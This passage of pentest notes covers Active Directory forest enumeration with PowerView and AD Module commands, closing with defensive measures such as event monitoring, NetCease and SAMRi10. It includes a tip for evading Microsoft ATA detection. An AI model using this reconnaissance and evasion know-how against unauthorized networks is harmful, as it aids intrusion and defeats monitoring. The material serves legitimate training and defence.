    • Avoid checking on DC, as it triggers Microsoft ATA, and really is pointless anyway.

Forest Enumeration

Get details about the current forest

#PowerView
Get-NetForest
Get-NetForest –Forest eurocorp.local

#AD Module
Get-ADForest
Get-ADForest –Identity eurocorp.local

#Get all domains in a Forest
#Powerview
Get-NetForestDomain
Get-NetForestDomain –Forest eurocorp.local
#AD Module
(Get-ADForest).Domains 

#Identify Partner Organizations & associated domains based on Contacts using AD Module
When an Org. has Exchange, you can also get information about who they frequently email.
Get-ADObject -filter {ObjectClass -eq "Contact"} -Prop *

Get Global Catalogs for Current Forest

Get-ForestGlobalCatalog
Get-NetForestCatalog
Get-NetForestCatalog -Forest eurocorp.local

Defense Methods

  • Check for anomaliies. Eg: 4624,4634 on several machines from one machine.

  • Prevent User enumeration using NetCease.ps1

    • Changes permissions on the NetSessionEnum method by removing permission for 'Authenticated Users' Group.

      • .\NetCease.ps1

      • Restart-Service -Name Server -Force

    • This fails many of attacker's session enumeration and thus user hunting capabilities.

  • Alternative Script: SAMRi10

    • Hardens Win 10, Server 2016 against enumeration which uses SAMR protocol( like net.exe users)

Last updated